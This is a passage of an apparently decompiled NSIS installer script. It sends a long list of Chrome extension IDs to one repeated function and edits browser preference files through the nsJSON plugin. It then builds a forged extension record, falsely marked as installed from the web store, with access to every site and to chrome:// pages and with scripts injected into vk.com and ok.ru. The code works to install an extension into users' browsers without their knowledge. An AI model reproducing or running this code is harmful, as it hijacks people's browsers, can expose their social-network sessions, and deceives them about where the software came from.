mngfhdpgdpdkehlomoonpkcbibcchmgm Call func_9411 Push oanpidnnchmnopbhedlcaobjdnfeclpn Call func_9411 Push ieaebnkibonmpbhdaanjkmedikadnoje Call func_9411 Push abradmonodkehstorenpkcofmbliegmf Call func_9411 Push eaikmbeeklemcgemabilgpjkanodfmic Call func_9411 StrCmp $_32_ 1 label_10548 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10548: FunctionEnd Function func_10549 StrCmp $_32_ 1 label_10556 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10556: Push dfgjapkemnjbgeknghcgakocngfkfbob Call func_9411 Push gfcfgcmgcplpigkobbpdhpbnhipmaepn Call func_9411 Push pookiimmolcmlopbidabgdlefcjegldf Call func_9411 Push iggdmkkkjkjbmomhnaaglcjdmfmamkca Call func_9411 Push cnbgiinmeeapadlkkeiijikonhkdlkdb Call func_9411 Push mifgjgnbpciiinbdglifkcgkcanhdojo Call func_9411 Push bonbgacfkdakmlgpnkfmgiiggckmdhdd Call func_9411 Push cjcgednkiegknnhblbbdkeldhcpkjbop Call func_9411 Push pdjpoeghnbphlibgcpenjeoagbjfldpe Call func_9411 Push padekgcemlokbadohgkifijomclgjgif Call func_9411 Push afebbdeeadaipjlkombegdfeiahlfgbd Call func_9411 Push handkofkimimnhfkbjkmopkpjkfnaddd Call func_9411 Push jfaelmjijpchnlnpphnmlkiodcjdhllh Call func_9411 Push japjgpmeoeppglkbnkcoocfecknldoba Call func_9411 Push koeojioiofmpegljihjleakgpmnolcbc Call func_9411 Push dnligehkhogpcngalffdoomehjcbecna Call func_9411 Push gehmndecgbcffhmfjkenpamdgechcgpe Call func_9411 Push olloiaimloohiaakaloloiggpinomffj Call func_9411 Push heildphpnddilhkemkielfhnkaagiabh Call func_9411 Push poihgldcgdeiiclapfocpigklbcgjlff Call func_9411 Push njeofdgmbhbojilblfpjipbkcipccehj Call func_9411 Push icemngsdfgikpminlhfghtybombkpphf Call func_9411 Push tikgiwakpsomminllolhbasdmmbkpiry Call func_9411 Push bpgangmffjcofiknibcmfjionicohfgj Call func_9411 Push bgbgnhmfbcifpkjofoojfplmfkmaiadn Call func_9411 StrCmp $_32_ 1 label_10614 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10614: FunctionEnd Function func_10615 StrCmp $_32_ 1 label_10622 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10622: Push nbifdkmdojgmpmopdebnjcobekgdoncn Call func_9411 Push gbllekplmkcfilgkfdcmceikhbieamjh Call func_9411 Push aaebcidjealdkgfblmalpnlcfmoehblg Call func_9411 Push nadmonjccapgblechkihgccmahmdcgkf Call func_9411 Push mcpmofnlkemfkhgngcdppgbhncoflmpe Call func_9411 Push igbfndccifkldjefkghhhhpglenppfnb Call func_9411 Push egodedaomfcikoiijhahilghdhamanoe Call func_9411 Push eekbbmglbfldjpgbmajenafphnfjonnc Call func_9411 Push kbmbmoljonchdkbjgkioneippcfpnpmp Call func_9411 Push bbdhdbapkdcefdlnjnipgbafplfgbmom Call func_9411 Push nppmdkggfajbicalcnpfpcfacpdmbfhi Call func_9411 Push dcnofaichneijfbkdkghmhjjbepjmble Call func_9411 Push cmedhionkhpnakcndndgjdbohmhepckk Call func_9411 Push pmmemlnpjmfkcddknibchodllhnnidlp Call func_9411 Push npdpaabpkcahccgoakgkgjfgalcpfhlb Call func_9411 Push adkchojifakkgdemgcjplmekpbninaom Call func_9411 Push mbfenkanhbafpdmlmhiicehikmfccebb Call func_9411 Push aeembeejekghkopiabadonpmfpigojok Call func_9411 Push lbjjfiihgfegniolckphpnfaokdkbmdm Call func_9411 Push iajpfoidhjamafnifhlkgkjgglhbmhpn Call func_9411 Push pjepiedknkjafemifameocnacojgdpin Call func_9411 Push dojgfgknadakhfnaogaipdbdamepeffe Call func_9411 Push bdnknblchccglekdlcicmhmfbnpdcnlk Call func_9411 Push jdmnhndckapfgedghcajdabahgmgdcim Call func_9411 Push bjgfnbgjnmeohehminfenoahkcddidpi Call func_9411 StrCmp $_32_ 1 label_10680 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10680: FunctionEnd Function func_10681 StrCmp $_32_ 1 label_10688 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10688: Push fndlhnanhedoklpdaacidomdnplcjcpj Call func_9411 Push agekechegkdgakliofbdhaancipnipkh Call func_9411 Push epbobadpdjhmhnnokljfjbmjbjkkamic Call func_9411 Push hadkbmndbbghkjipjbmpdjghejhjjaad Call func_9411 Push nhfjefnfnmmnkcckbjjcganphignempo Call func_9411 Push dejghicigppjmbpmgnepedpfolikhdlo Call func_9411 Push ghcdaheihefjaiihlegkggmmanbakmge Call func_9411 Push necfmkplpminfjagblfabggomdpaakan Call func_9411 Push gdljkkmghdkckhaogaemgbgdfophkfco Call func_9411 Push fdjdjkkjoiomafnihnobkinnfjnnlhdg Call func_9411 Push dkekdlkmdpipihonapoleopfekmapadh Call func_9411 Push eoebpcbiklhocbchcfjlejdfhfaimfoh Call func_9411 Push fgfffefkfpmbjmhofnofmiikiolcbhll Call func_9411 Push elipildglihdiclllmcglejppnmegbnc Call func_9411 Push lpobdmdfgjokempajoobgfdnhjbjlnpm Call func_9411 Push ecnphlgnajanjnkcmbpancdjoidceilk Call func_9411 Push nofpoinhpaonfgjgoooobacfhhicgiah Call func_9411 Push nfphfdfjeglpieokoecfbjnbjmgknbmg Call func_9411 Push oepoioecmpaaoocbhhmiibjdbpfgjhbo Call func_9411 Push ecljapgcebeghdgfjacldomhcnlemkmk Call func_9411 Push obadomnpboahoakjcaoddfhdpaaibjng Call func_9411 Push ialilpegnnfigbcggpbbdecdgencbfge Call func_9411 Push odmlfnnlohbcofdmanmbfppncommemhh Call func_9411 Push feeilhmlfcpfchpbgoknoeefdkbgionj Call func_9411 StrCmp $_32_ 1 label_10744 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10744: FunctionEnd Function func_10745 StrCmp $_32_ 1 label_10752 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10752: Push bhjcgomkanpkpblokebecknhahgkcmoo Call func_9411 Push ablpcikjmhamjanpibkccdmpoekjigja Call func_9411 Push illgmhceeodpagcdfjbkdfaclfijbjbc Call func_9411 Push gbjeiekahklbgbfccohipinhgaadijad Call func_9411 Push jkfaaimakmkeglfcdfakffbfnkiocolp Call func_9411 Push alcmakjhknigccfidaelkafjmfifkhkc Call func_9411 Push mlomiejdfkolichcflejclcbmpeaniij Call func_9411 Push chbcakcafkeacjljckffjnmliiikgoag Call func_9411 Push cagkfnokdfofofnblbpfjnapdojmoffn Call func_9411 Push ejaohcdkoibiglljclfbmegmenlinpmd Call func_9411 Push ggcgbfdofnkhamefohachilfjjgiapjh Call func_9411 Push oopaipoegcoodhcemiefhoeaneholpfj Call func_9411 Push kgkbakedaeiiieiipomfpgcfbfdphmhl Call func_9411 Push okjdabpnodcpnemmamodgoikmabakaeb Call func_9411 Push bejnpnkhfgfkcpgikiinojlmdcjimobi Call func_9411 Push geidjeefddhgefeplhdlegoldlgiodon Call func_9411 Push pjfkgjlnocfakoheoapicnknoglipapd Call func_9411 Push pfigaoamnncijbgomifamkmkidnnlikl Call func_9411 Push hnolaplfoobcmgfmjphkmbjolinelpkb Call func_9411 Push jdfonankhfnhihdcpaagpabbaoclnjfp Call func_9411 Push edacconmaakjimmfgnblocblbcdcpbko Call func_9411 Push eedhmgdnpddpdofnpflniajpdhdkfamk Call func_9411 Push cncgohepihcekklokhbhiblhfcmipbdh Call func_9411 Push gehngeifmelphpllncobkmimphfkckne Call func_9411 Push mcbpblocgmgfnpjjppndjkmgjaogfceg Call func_9411 StrCmp $_32_ 1 label_10810 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10810: FunctionEnd Function func_10811 StrCmp $_32_ 1 label_10818 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10818: Push pelmeidfhdlhlbjimpabfcbnnojbboma Call func_9411 Push nphbmanpfjfdngbaamhajooihmjacmfe Call func_9411 Push ejbpjlaagejfakeobljhgplbgklgemll Call func_9411 Push vojarjlvomiwodchnayaimollfrasdlk Call func_9411 Push jedpddonjeogeldhkkbpdachllhdfknk Call func_9411 Push kmafjceipgfaoldhhbkgdihfbjaioaen Call func_9411 Push ijdcdideehdjconcfikhfmnhcgklelnm Call func_9411 Push omhdndjjngapchpajkicnagllfgcelgp Call func_9411 Push ipnpelpjmnmepmgacemjkdkjlappmnen Call func_9411 Push neebplgakaahbhdphmkckjjcegoiijjo Call func_9411 Push jidkebcigjgheaahopdnlfaohgnocfai Call func_9411 Push ekbkljhamnfpbcmgmfeacodjnpfhpdbe Call func_9411 Push eclmpnoffmklliobmkbkcnoikpjcheab Call func_9411 Push iclekbbjgpehabpidkpgnnjmohldmedi Call func_9411 Push hdpniolnlbphbpefnhfjebidlfplocol Call func_9411 Push fcnodchihpbcjiofidkkeaioejgpijkl Call func_9411 Push iionjbhbhjhpdbljefbeaoiddijbjmcd Call func_9411 Push aobdicepooefnbaeokijohmhjlleamfj Call func_9411 Push cfaeobphmnkkcgccdfagcephianpcfip Call func_9411 Push klhobddcbiabdfjmomildokiglpmdicc Call func_9411 Push lelnemepcfnebljimmaaabbdmogjhnpm Call func_9411 Push pmpmnoinbkdojlnknogfeoagmhmhgakc Call func_9411 Push bopfaehpakahokaelnomggbohfbimcia Call func_9411 Push epidkblbijdjihifinfihbdhhckopdeh Call func_9411 Push bhonpmhajbmbmpgedcmcoaalipnkpfli Call func_9411 StrCmp $_32_ 1 label_10876 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10876: FunctionEnd Function func_10877 StrCmp $_32_ 1 label_10884 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10884: Push iphaaafjhmkmljeoojhodfppbffnanmh Call func_9411 Push mcefmojpghnaceadnghednjhbmphipkb Call func_9411 Push lgblnfidahcdcjddiepkckcfdhpknnjh Call func_9411 Push bcfkehefmehhjakkihiihniogdnddipm Call func_9411 Push gojplegfnpcmoocloablkknghkoimpei Call func_9411 Push mmpljmegdkddjkklnheaaldbcblcpjpb Call func_9411 Push bhmmomiinigofkjcapegjjndpbikblnp Call func_9411 Push dajedkncpodkggklbegccjpmnglmnflm Call func_9411 Push cjlbafpolkhmndcompggmhmlmnpkbpje Call func_9411 Push cjabmdjcfcfdmffimndhafhblfmpjdpe Call func_9411 Push onnpamhldelphfpbjneadljcchmcbomn Call func_9411 Push oggncfnllnkdfejkhahpaecgecnkmmgn Call func_9411 Push ijepgjdjkdbopbnaopmlmobimmhjklhd Call func_9411 Push jihoolckeipfajhonpomoabjlkonaoee Call func_9411 Push inmpieponfdjfekdfdfgmhamccfddpfb Call func_9411 Push pjnddijgaopgmmdhapkplmlfjomphopm Call func_9411 Push phokcamelcbnjikjgomjjadeihhbbidh Call func_9411 Push fbkdlibjhnblcbjjecnlpkldhbkedfhj Call func_9411 Push jfanicgikhkgkpaojeagenehloabddfj Call func_9411 Push fifkdcigeenjmecnjjcaknegfhlecbma Call func_9411 Push eifknneknkbnhlfmcbfephojanhiomjo Call func_9411 Push piaphheklodiededmbmgfcfbcagncgka Call func_9411 Push mlepmakjdoedngidjlanekmdkllganmg Call func_9411 Push ipjjmoaaiokdonnldckdhmhojapklmdi Call func_9411 Push ccammhgkfelmohfpeblmnhaedffogagd Call func_9411 StrCmp $_32_ 1 label_10942 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_10942: FunctionEnd Function func_10943 StrCmp $_32_ 1 label_10950 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_10950: Push alikckkmddkoooodkchoheabgakpopmg Call func_9411 Push fgijhgdlmdjhkjhpecjiepodoabpkpao Call func_9411 Push gididmdehghjponcelkpolgcmecehdce Call func_9411 Push mlimcdoaokfndjofnhhlhbnhkjjfkpob Call func_9411 Push omliogndapmgocdoaiajclljamjfmnhb Call func_9411 Push neffjgcockmfmkfjoffiomkjjehnjfab Call func_9411 Push enkpnpkpemmomcbppdjmdaidgjlfobbj Call func_9411 Push bjjlfiicpoabkjdenhnkjlmjlciealed Call func_9411 Push ooeamnobedpgkckfbgcfcflhglafjfkc Call func_9411 Push hikolaholpdebfmmhepipdpmjnnefkll Call func_9411 Push jebdgdginjpgphhdempgjfbambgbpbii Call func_9411 Push acoiihnnfofnpbnofdcgcapbjlcopifa Call func_9411 Push hlmnfnjcpenlhcejilkgnicljjacjocf Call func_9411 Push lgdnilodcpljomelbbnpgdogdbmclbni Call func_9411 Push cpegcopcfajiiibidlaelhjjblpefbjk Call func_9411 Push jdapmeocgbbceopcohmbeainapanicig Call func_9411 Push fhikbdfdkmikgmemnmomnfhhnmcejkbb Call func_9411 Push gfggmcmlkoplefkedicfngfkgkhhfmef Call func_9411 Push jkfblcbjfojmgagikhldeppgmgdpjkpl Call func_9411 Push ikhjfaoannmefiiecdalnhbhinmanpii Call func_9411 Push pkljnnogdmlajgaoodihioopfdkpgjgg Call func_9411 Push fghlbjjfaimocdbincabjnngocjeiaij Call func_9411 Push cjgpmeoldcchbfbojmmimhgmlmbbdhaj Call func_9411 Push hpcghcdjnehpkdecaflpedhklimnejia Call func_9411 Push ppicnefllkbphfkmjbbjccddkpgholhk Call func_9411 StrCmp $_32_ 1 label_11008 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_11008: FunctionEnd Function func_11009 StrCmp $_32_ 1 label_11016 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_11016: Push hecejpfjaejfckdgibkmhoifjhpcipph Call func_9411 Push pinhfkamckbogjgmbmdkdebbbpnmlaef Call func_9411 Push sfthwlmoonafjtruebijjedllamaqlzn Call func_9411 Push cpilejdnlhmhjgnhdoacogcgmlmogpdn Call func_9411 Push ehfjihahbphdpljpiadbkmgmhnfehhgi Call func_9411 Push fjgplcjpjdpknopnfbgjddpcfeklkjin Call func_9411 Push fljnejggdkncoilcbhmdfcdcclldcdop Call func_9411 Push khmddhpjnnanhbjphobcnmaojmonnjib Call func_9411 Push ahnphcmhmhcjjcjhmnnjjlbmaeljecga Call func_9411 Push nepakmljodobhlbbkpobblnifmhclemh Call func_9411 Push gfhknphhohpfpjedlockclioojiiikeb Call func_9411 Push pohdeklpacbplbljdkmccekiichicgba Call func_9411 Push ocifcklkibdehekfnmflempfgjhbedch Call func_9411 Push aahjclhmihkddabbcdbijgfmnimciael Call func_9411 Push hilbjnajfehfhggoadmonbjbnliofolg Call func_9411 Push jafgolepgbnjpdhljdfbpnmagefejnhg Call func_9411 Push ojlcebdkbpjdpiligkdbbkdkfjmchbfd Call func_9411 Push ccfifbojenkenpkmnbnndeadpfdiffof Call func_9411 Push fcgnigmofekcllgbiejhmigggmgehkip Call func_9411 Push egkimmibmjfhmgbdkdjblnkeejaaeeln Call func_9411 Push bbgbjmaflmngclfepbgjlpoofmlkijhn Call func_9411 Push phcogmapnhgdbmilclanafaljonkjppa Call func_9411 Push moiplnkpedoenpkhopdmmakjcgpnanjj Call func_9411 Push bbmegnmpleoagolcnjnejdacakedpcgd Call func_9411 Push gpgegjjdogpgcodljdadjagmpaglfjac Call func_9411 StrCmp $_32_ 1 label_11074 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_11074: FunctionEnd Function func_11075 StrCmp $_32_ 1 label_11082 nsJSON::Set /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; CallInstDLL $PLUGINSDIR\nsJSON.dll Set label_11082: Push oeekdcjpecgnckiklnbcegfmniahfnpf Call func_9411 Push fidgfgjjfmicejfgkmmnoomabpnegocl Call func_9411 Push hglggmlijdoohkncfpahcffenjfcnbkn Call func_9411 Push bceciholkmjngdohanojikiiccgnmpdj Call func_9411 Push ggmhognecmdcfkbcofenogmgmpgcbjlc Call func_9411 Push mkcmanilmfjhibbenefmaiegfanjinfi Call func_9411 Push kpkblmhjmheodbegpnnmkcehamnkddol Call func_9411 Push fcppdfelojakeahklfgkjegnpbgndoch Call func_9411 Push kemgadeojglibflomicgnfeopkdfflnk Call func_9411 Push eoaimagebijdfnibcnbolmghchikkllp Call func_9411 Push bggibicdeedcagmnibgoaggaciolkdhg Call func_9411 Push amhepdeniigagehgfekfbgdkmnpjhlba Call func_9411 Push leenkjhmbcgekojlkimcbodmniopgfnp Call func_9411 Push jlpkjkcffdpndkfgmggbapogceiagkoe Call func_9411 Push megbklhjamjbcafknkgmokldgolkdfig Call func_9411 Push ljbnemldkgbgkkfkbjanbcioojmknglp Call func_9411 Push jgenmkmmjonmiphhinjmefgdjhgceadg Call func_9411 StrCmp $_32_ 1 label_11124 nsJSON::Serialize /format /file $_30_ ; Call Initialize_____Plugins ; File $PLUGINSDIR\nsJSON.dll ; SetDetailsPrint lastused ; Push $_30_ ; Push /file ; Push /format ; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize label_11124: FunctionEnd Function func_11125 StrCmp $_66_ 1 label_11133 StrCmp $_51_ "" 0 label_11289 Push 6 Push 1 Call func_13173 Pop $8 StrCmp $8 "" 0 label_11133 StrCpy $8 1 label_11133: StrCmp $_51_ ihbiedpeaicgipncdnnkikeehnjiddck label_11135 StrCmp $8 1 0 label_11141 label_11135: StrCpy $_51_ ihbiedpeaicgipncdnnkikeehnjiddck StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCzHNKWyPS0Cgxe833ty7hHxH/RxmWUyY0gSQG7qADhfhjWaBxm45r+Bpzc5bPBcYL0jPXEBtTNQL496vuE1ppP72//A97riVppc1M9bn0cNve6a3eG29QBmAUEgk0Tnssg7nZ8DCQQ5Re0N94baoPdQXWIjrZO8/ZVNBx+urOmPwIDAQAB label_11141: StrCmp $_51_ npknnddabjhdijgmmbocdicnknegobkm label_11143 StrCmp $8 2 0 label_11149 label_11143: StrCpy $_51_ npknnddabjhdijgmmbocdicnknegobkm StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC2ve+VH4Q1K29o1kF3LFgRln2EacpnDKkxMMvRVmYu4P5YpOM2yxpaSlr0AkidZi2HgQlKSwoNB2pR/fRfLdMQy+QjBdQB+FxACoZXioWYR+8j727BpdPt+onX6S9Ii9jMTFP02pQWaxCT4roVpYdGE4a+v/A932Xye0m3DHxK1QIDAQAB label_11149: StrCmp $_51_ mfgdmpfihlmdekaclngibpjhdebndhdj label_11151 StrCmp $8 3 0 label_11157 label_11151: StrCpy $_51_ mfgdmpfihlmdekaclngibpjhdebndhdj StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC76ZWflPI/tMLW+eelylcF+Gc0mx7tchYC4rWs2/N9R1jrEyq3ZrkPZutYEkRWzz8az6r5MVBdqsrM7MShp3xihyrhnMYbuUuN/Xx8SVU+LXgid4sBW2xF17V7/20n2SNlAoQSvtid5kxoiL+mbm5Kuq9/WAfWeYMTDA/Bx4tFBQIDAQAB label_11157: StrCmp $_51_ oghkljobbhapacbahlneolfclkniiami label_11159 StrCmp $8 4 0 label_11165 label_11159: StrCpy $_51_ oghkljobbhapacbahlneolfclkniiami StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNyJlz1NfUOvI1q7YiXjTvStaC99OmJCfnfo07UVF6N7/5coAGTUAASUYmdFd5LxTt4GOrODbzbbdOKO3iEuDtUZFklgvMO81tmoRPJNMf0cb1rpSfnmmB33xtgi2CWzmlVzx3pdbbkGwo2R+rwbeAQkG+zXvzgmnHDSt1a5zqjwIDAQAB label_11165: StrCmp $_51_ ihmgiclibbndffejedjimfjmfoabpcke label_11167 StrCmp $8 5 0 label_11173 label_11167: StrCpy $_51_ ihmgiclibbndffejedjimfjmfoabpcke StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkOqWNYxiJx8tna4iC3m5gof8gEaRmi4c/DzV3DL34xUHVvoIUuVMiEM2jUjtrP07l9y3BYiZFE6gJ+J9YiWDMEetzO8Rr6kfKz1q7rxVruC1Ov1HimngpG87Ke0BJvFx3i9m/cmw93VvuPjtFSK1mQiXAucfDroBDVthjos8bAQIDAQAB label_11173: StrCmp $_51_ cfmnkhhioonhiehehedmnjibmampjiab label_11175 StrCmp $8 6 0 label_11181 label_11175: StrCpy $_51_ cfmnkhhioonhiehehedmnjibmampjiab StrCpy $_55_ $_51_ Push $_55_ Call func_13239 Pop $_55_ StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCOTL79YGbTHdtMIYXBtM9sEXaHVP9W/FGm2dtuzxfkB8ouBKRuTERx6t0D1EScCioIJhRBy0/er8Ce3ebPrG/JC/4SIWA4CnKLy0T+jC7Gyfi6gLfZJrPLT60uWcXCmrSnzjmYCSMzmqStGRWcCdzjiQaF5KnmMdO7cpMeuhvs1QIDAQAB label_11181: StrCmp $_54_ "" label_11183 StrCmp $_54_ none 0 label_11200 label_11183: Push 299 Push 101 Call func_13173 Pop $1 Push 9 Push 0 Call func_13173 Pop $2 Push 19 Push 0 Call func_13173 Pop $3 Push 199 Push 0 Call func_13173 Pop $4 StrCpy $_54_ $1.$2.$3.$4 label_11200: Call func_11734 Pop $1 StrCmp $1 "" 0 label_11204 StrCpy $1 "Smart Browser" label_11204: StrCpy $2 $_51_\\$_54_\\ StrCpy $4 $_54_ StrCpy $_73_ {$\"active_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]},$\"creation_flags$\":9,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]}, StrCpy $_74_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"hash.js$\",$\"bg.js$\"]},$\"content_scripts$\":[{$\"css$\":[$\"css/bgvk.css$\"],$\"js$\":[$\"bgvk.js$\"],$\"matches$\":[$\"*://vk.com/*$\",$\"*://*.vk.com/*$\"]},{$\"css$\":[$\"css/bgok.css$\"],$\"js$\":[$\"bgok.js$\"],$\"matches$\":[$\"*://ok.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://odnoklassniki.ru/*$\",$\"*://www.odnoklassniki.ru/*$\"]}],$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"}, StrCpy $_75_ $\"key$\":$\"$_52_$\", StrCpy $_76_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"background$\",$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false} StrCmp $_66_ 1 label_11234 StrCpy $_67_ {$\"active_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]}, StrCpy $_68_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"hash.js$\",$\"bg.js$\"]},$\"content_scripts$\":[{$\"css$\":[$\"css/bgvk.css$\"],$\"js$\":[$\"bgvk.js$\"],$\"matches$\":[$\"*://vk.com/*$\",$\"*://*.vk.com/*$\"]},{$\"css$\":[$\"css/bgok.css$\"],$\"js$\":[$\"bgok.js$\"],$\"matches$\":[$\"*://ok.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://odnoklassniki.ru/*$\",$\"*://www.odnoklassniki.ru/*$\"]}],$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"}, StrCpy $_69_ $\"key$\":$\"$_52_$\", StrCpy $_70_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false} StrCpy $_71_ "" StrCpy $_72_ "" IfFileExists $PLUGINSDIR\SecurePreferences 0 label_11219 Delete $PLUGINSDIR\SecurePreferences label_11219: FileOpen $1 